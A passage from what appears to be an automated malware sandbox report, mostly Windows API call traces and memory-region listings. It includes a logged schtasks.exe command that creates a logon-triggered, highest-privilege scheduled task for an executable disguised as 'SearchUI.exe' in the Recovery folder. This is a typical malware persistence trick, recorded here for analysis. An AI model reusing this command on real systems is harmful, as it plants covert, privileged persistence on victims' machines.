BaseAddress=0x21c24e94a60) returned 1 [0125.966] GetProcessHeap () returned 0x21c24e90000 [0125.966] GetProcessHeap () returned 0x21c24e90000 [0125.966] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e98f90) returned 1 [0125.966] GetProcessHeap () returned 0x21c24e90000 [0125.966] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e98f90) returned 0x20 [0125.966] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e98f90) returned 1 [0125.966] GetProcessHeap () returned 0x21c24e90000 [0125.966] GetProcessHeap () returned 0x21c24e90000 [0125.966] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e98ea0) returned 1 [0125.966] GetProcessHeap () returned 0x21c24e90000 [0125.966] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e98ea0) returned 0x20 [0125.967] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e98ea0) returned 1 [0125.967] GetProcessHeap () returned 0x21c24e90000 [0125.967] GetProcessHeap () returned 0x21c24e90000 [0125.967] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e98fc0) returned 1 [0125.967] GetProcessHeap () returned 0x21c24e90000 [0125.967] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e98fc0) returned 0x20 [0125.967] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e98fc0) returned 1 [0125.967] GetProcessHeap () returned 0x21c24e90000 [0125.967] GetProcessHeap () returned 0x21c24e90000 [0125.968] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e98f60) returned 1 [0125.968] GetProcessHeap () returned 0x21c24e90000 [0125.968] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e98f60) returned 0x20 [0125.968] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e98f60) returned 1 [0125.968] GetProcessHeap () returned 0x21c24e90000 [0125.968] GetProcessHeap () returned 0x21c24e90000 [0125.968] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e94450) returned 1 [0125.968] GetProcessHeap () returned 0x21c24e90000 [0125.968] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e94450) returned 0x18 [0125.968] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e94450) returned 1 [0125.968] GetProcessHeap () returned 0x21c24e90000 [0125.968] GetProcessHeap () returned 0x21c24e90000 [0125.968] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e99200) returned 1 [0125.968] GetProcessHeap () returned 0x21c24e90000 [0125.968] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e99200) returned 0x20 [0125.969] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e99200) returned 1 [0125.969] GetProcessHeap () returned 0x21c24e90000 [0125.969] GetProcessHeap () returned 0x21c24e90000 [0125.969] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e99110) returned 1 [0125.969] GetProcessHeap () returned 0x21c24e90000 [0125.969] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e99110) returned 0x20 [0125.970] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e99110) returned 1 [0125.970] GetProcessHeap () returned 0x21c24e90000 [0125.970] GetProcessHeap () returned 0x21c24e90000 [0125.970] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e99170) returned 1 [0125.970] GetProcessHeap () returned 0x21c24e90000 [0125.970] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e99170) returned 0x20 [0125.970] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e99170) returned 1 [0125.970] GetProcessHeap () returned 0x21c24e90000 [0125.970] GetProcessHeap () returned 0x21c24e90000 [0125.970] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e991a0) returned 1 [0125.970] GetProcessHeap () returned 0x21c24e90000 [0125.970] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e991a0) returned 0x20 [0125.971] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e991a0) returned 1 [0125.971] GetProcessHeap () returned 0x21c24e90000 [0125.971] GetProcessHeap () returned 0x21c24e90000 [0125.971] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e990e0) returned 1 [0125.971] GetProcessHeap () returned 0x21c24e90000 [0125.971] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e990e0) returned 0x20 [0125.971] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e990e0) returned 1 [0125.972] GetProcessHeap () returned 0x21c24e90000 [0125.972] GetProcessHeap () returned 0x21c24e90000 [0125.972] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e93fb0) returned 1 [0125.972] GetProcessHeap () returned 0x21c24e90000 [0125.972] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e93fb0) returned 0x18 [0125.972] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e93fb0) returned 1 [0125.972] GetProcessHeap () returned 0x21c24e90000 [0125.972] GetProcessHeap () returned 0x21c24e90000 [0125.972] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e98ff0) returned 1 [0125.972] GetProcessHeap () returned 0x21c24e90000 [0125.972] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e98ff0) returned 0x20 [0125.972] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e98ff0) returned 1 [0125.972] GetProcessHeap () returned 0x21c24e90000 [0125.972] GetProcessHeap () returned 0x21c24e90000 [0125.972] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e96080) returned 1 [0125.972] GetProcessHeap () returned 0x21c24e90000 [0125.973] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e96080) returned 0x18 [0125.973] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e96080) returned 1 [0125.973] exit (_Code=0) Thread: id = 176 os_tid = 0x854 Process: id = "30" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x32557000" os_pid = "0xbc4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x1120" cmd_line = "schtasks.exe /create /tn \"SearchUI\" /sc ONLOGON /tr \"'C:\\Recovery\\WindowsRE\\SearchUI.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3466 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3467 start_va = 0xe524400000 end_va = 0xe5245fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e524400000" filename = "" Region: id = 3468 start_va = 0xe524600000 end_va = 0xe52467ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e524600000" filename = "" Region: id = 3469 start_va = 0x1fba6480000 end_va = 0x1fba649ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001fba6480000" filename = "" Region: id = 3470 start_va = 0x1fba64a0000 end_va = 0x1fba64b4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001fba64a0000" filename = "" Region: id = 3471 start_va = 0x1fba64c0000 end_va = 0x1fba64c3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001fba64c0000" filename = "" Region: id = 3472 start_va = 0x1fba64d0000 end_va = 0x1fba64d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001fba64d0000" filename = "" Region: id = 3473 start_va = 0x1fba64e0000 end_va = 0x1fba64e1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001fba64e0000" filename = "" Region: id = 3474 start_va = 0x7df5ff0c0000 end_va = 0x7ff5ff0bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff0c0000" filename = "" Region: id = 3475 start_va = 0x7ff684750000 end_va = 0x7ff684772fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff684750000" filename = "" Region: id = 3476 start_va = 0x7ff685110000 end_va = 0x7ff68514cfff monitored = 1 entry_point = 0x7ff685134550 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3477 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3482 start_va = 0x1fba64f0000 end_va = 0x1fba66effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001fba64f0000" filename = "" Region: id = 3483 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3484 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3485 start_va = 0x1fba6480000 end_va = 0x1fba648ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001fba6480000" filename = "" Region: id = 3486 start_va = 0x7ff684650000 end_va = 0x7ff68474ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff684650000" filename = "" Region: id = 3487 start_va = 0x1fba64f0000 end_va = 0x1fba65adfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3488 start_va = 0x1fba65f0000 end_va = 0x1fba66effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001fba65f0000" filename = "" Region: id = 3489 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3490 start_va = 0xe524680000 end_va = 0xe5246fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000e524680000" filename = "" Region: id = 3491 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3492 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 3493 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3494 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 3495 start_va = 0x1fba66f0000 end_va = 0x1fba676ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001fba66f0000" filename = "" Region: id = 3496 start_va = 0x1fba6490000 end_va = 0x1fba6496fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001fba6490000" filename = "" Region: id = 3497 start_va = 0x1fba6770000 end_va = 0x1fba68b2fff monitored = 0 entry_point = 0x1fba6798210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3498 start_va = 0x1fba65b0000 end_va = 0x1fba65b6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001fba65b0000" filename = "" Region: id = 3499 start_va = 0x1fba65c0000 end_va = 0x1fba65d2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3511 start_va = 0x1fba6770000 end_va = 0x1fba6aa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3512 start_va = 0x1fba6ab0000 end_va = 0x1fba6b8cfff monitored = 0 entry_point = 0x1fba6b0e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3513 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 3514 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3515 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3516 start_va = 0x1fba66f0000 end_va = 0x1fba6728fff monitored = 0 entry_point = 0x1fba66f12f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3517 start_va = 0x1fba6760000 end_va = 0x1fba676ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001fba6760000" filename = "" Region: id = 3518 start_va = 0x1fba6ab0000 end_va = 0x1fba6c37fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001fba6ab0000" filename = "" Region: id = 3519 start_va = 0x7ffa7ab70000 end_va = 0x7ffa7abaafff monitored = 0 entry_point = 0x7ffa7ab712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3520 start_va = 0x1fba65e0000 end_va = 0x1fba65e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001fba65e0000" filename = "" Region: id = 3521 start_va = 0x1fba66f0000 end_va = 0x1fba66f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001fba66f0000" filename = "" Region: id = 3522 start_va = 0x1fba6c40000 end_va = 0x1fba6dc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001fba6c40000" filename = "" Region: id = 3523 start_va = 0x1fba6dd0000 end_va = 0x1fba81cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001fba6dd0000" filename = "" Region: id = 3524 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3525 start_va = 0x1fba6700000 end_va = 0x1fba6700fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001fba6700000" filename = "" Region: id = 3526 start_va = 0x7ffa7b7c0000 end_va = 0x7ffa7b866fff monitored = 0 entry_point = 0x7ffa7b7cb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3527 start_va = 0x1fba6710000 end_va = 0x1fba6710fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001fba6710000" filename = "" Region: id = 3528 start_va = 0x7ffa754c0000 end_va = 0x7ffa7557efff monitored = 0 entry_point = 0x7ffa754e1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3529 start_va = 0x7ffa78120000 end_va = 0x7ffa7814cfff monitored = 0 entry_point = 0x7ffa78139d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3530 start_va = 0x7ffa74cc0000 end_va = 0x7ffa74cf5fff monitored = 0 entry_point = 0x7ffa74cd0070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 177 os_tid = 0x5ec [0125.745] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff685110000 [0125.745] __set_app_type (_Type=0x1) [0125.745] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6851348d0) returned 0x0 [0125.745] __wgetmainargs (in: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008, _DoWildCard=0, _StartInfo=0x7ff685148014 | out: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008) returned 0 [0125.745] _onexit (_Func=0x7ff685137ec0) returned 0x7ff685137ec0 [0125.746] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0125.746] CsrIdentifyAlertableThread () returned 0x0 [0125.746] GetProcessHeap () returned 0x1fba65f0000 [0125.746] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x18) returned 0x1fba65f4e80 [0125.746] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.747] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0125.747] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0125.747] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0125.747] RtlVerifyVersionInfo (VersionInfo=0xe52467ef60, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0125.747] GetProcessHeap () returned 0x1fba65f0000 [0125.747] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x18) returned 0x1fba65f4ea0 [0125.747] lstrlenW (lpString="") returned 0 [0125.747] GetProcessHeap () returned 0x1fba65f0000 [0125.747] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x2) returned 0x1fba65f4ec0 [0125.747] GetProcessHeap () returned 0x1fba65f0000 [0125.747] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65f4830 [0125.747] GetProcessHeap () returned 0x1fba65f0000 [0125.747] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x18) returned 0x1fba65f4860 [0125.747] GetProcessHeap () returned 0x1fba65f0000 [0125.747] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65f4880 [0125.747] GetProcessHeap () returned 0x1fba65f0000 [0125.747] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65f48b0 [0125.747] GetProcessHeap () returned 0x1fba65f0000 [0125.747] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65f4420 [0125.748] GetProcessHeap () returned 0x1fba65f0000 [0125.748] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65f8f20 [0125.748] GetProcessHeap () returned 0x1fba65f0000 [0125.748] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x18) returned 0x1fba65f4450 [0125.748] GetProcessHeap () returned 0x1fba65f0000 [0125.748] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65f8f50 [0125.748] GetProcessHeap () returned 0x1fba65f0000 [0125.748] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65f91c0 [0125.748] GetProcessHeap () returned 0x1fba65f0000 [0125.748] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65f8f80 [0125.748] GetProcessHeap () returned 0x1fba65f0000 [0125.748] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65f9100 [0125.748] GetProcessHeap () returned 0x1fba65f0000 [0125.748] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x18) returned 0x1fba65f4470 [0125.749] GetProcessHeap () returned 0x1fba65f0000 [0125.749] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65f9070 [0125.749] GetProcessHeap () returned 0x1fba65f0000 [0125.749] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65f9040 [0125.749] GetProcessHeap () returned 0x1fba65f0000 [0125.749] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65f8fb0 [0125.749] GetProcessHeap () returned 0x1fba65f0000 [0125.749] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65f90d0 [0125.749] SetThreadUILanguage (LangId=0x0) returned 0x409 [0125.751] RtlRestoreLastWin32Error () returned 0xe52459b000 [0125.751] GetProcessHeap () returned 0x1fba65f0000 [0125.751] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65f9160 [0125.751] GetProcessHeap () returned 0x1fba65f0000 [0125.751] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65f8e90 [0125.751] GetProcessHeap () returned 0x1fba65f0000 [0125.751] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65f8fe0 [0125.751] GetProcessHeap () returned 0x1fba65f0000 [0125.751] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65f9190 [0125.751] GetProcessHeap () returned 0x1fba65f0000 [0125.751] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65f8e60 [0125.751] GetProcessHeap () returned 0x1fba65f0000 [0125.751] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x18) returned 0x1fba65f4c20 [0125.751] _memicmp (_Buf1=0x1fba65f4c20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.751] GetProcessHeap () returned 0x1fba65f0000 [0125.751] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x208) returned 0x1fba65f9b00 [0125.751] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1fba65f9b00, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0125.751] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0xe52467f0b8 | out: lpdwHandle=0xe52467f0b8) returned 0x76c [0125.833] GetProcessHeap () returned 0x1fba65f0000 [0125.833] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x776) returned 0x1fba65fa860 [0125.833] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x1fba65fa860 | out: lpData=0x1fba65fa860) returned 1 [0125.834] VerQueryValueW (in: pBlock=0x1fba65fa860, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xe52467f050, puLen=0xe52467f0b0 | out: lplpBuffer=0xe52467f050*=0x1fba65fac10, puLen=0xe52467f0b0) returned 1 [0125.836] _memicmp (_Buf1=0x1fba65f4c20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.836] _vsnwprintf (in: _Buffer=0x1fba65f9b00, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xe52467f028 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0125.837] VerQueryValueW (in: pBlock=0x1fba65fa860, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xe52467f040, puLen=0xe52467f0a8 | out: lplpBuffer=0xe52467f040*=0x1fba65faa40, puLen=0xe52467f0a8) returned 1 [0125.837] lstrlenW (lpString="schtasks.exe") returned 12 [0125.837] lstrlenW (lpString="schtasks.exe") returned 12 [0125.837] lstrlenW (lpString=".EXE") returned 4 [0125.837] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0125.837] lstrlenW (lpString="schtasks.exe") returned 12 [0125.837] lstrlenW (lpString=".EXE") returned 4 [0125.838] _memicmp (_Buf1=0x1fba65f4c20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.838] lstrlenW (lpString="schtasks") returned 8 [0125.838] GetProcessHeap () returned 0x1fba65f0000 [0125.838] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65f9010 [0125.838] GetProcessHeap () returned 0x1fba65f0000 [0125.838] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65f90a0 [0125.838] GetProcessHeap () returned 0x1fba65f0000 [0125.838] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65fb430 [0125.838] GetProcessHeap () returned 0x1fba65f0000 [0125.838] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65fb940 [0125.838] GetProcessHeap () returned 0x1fba65f0000 [0125.838] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x18) returned 0x1fba65f4c40 [0125.838] _memicmp (_Buf1=0x1fba65f4c40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.838] GetProcessHeap () returned 0x1fba65f0000 [0125.838] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0xa0) returned 0x1fba65f3860 [0125.838] GetProcessHeap () returned 0x1fba65f0000 [0125.838] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65fba60 [0125.838] GetProcessHeap () returned 0x1fba65f0000 [0125.838] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65fb520 [0125.838] GetProcessHeap () returned 0x1fba65f0000 [0125.838] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x20) returned 0x1fba65fb610 [0125.838] GetProcessHeap () returned 0x1fba65f0000 [0125.838] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x18) returned 0x1fba65f4c60 [0125.838] _memicmp (_Buf1=0x1fba65f4c60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.838] GetProcessHeap () returned 0x1fba65f0000 [0125.838] RtlAllocateHeap (HeapHandle=0x1fba65f0000, Flags=0xc, Size=0x200) returned 0x1fba65fbb30 [0125.838] LoadStringW (in: 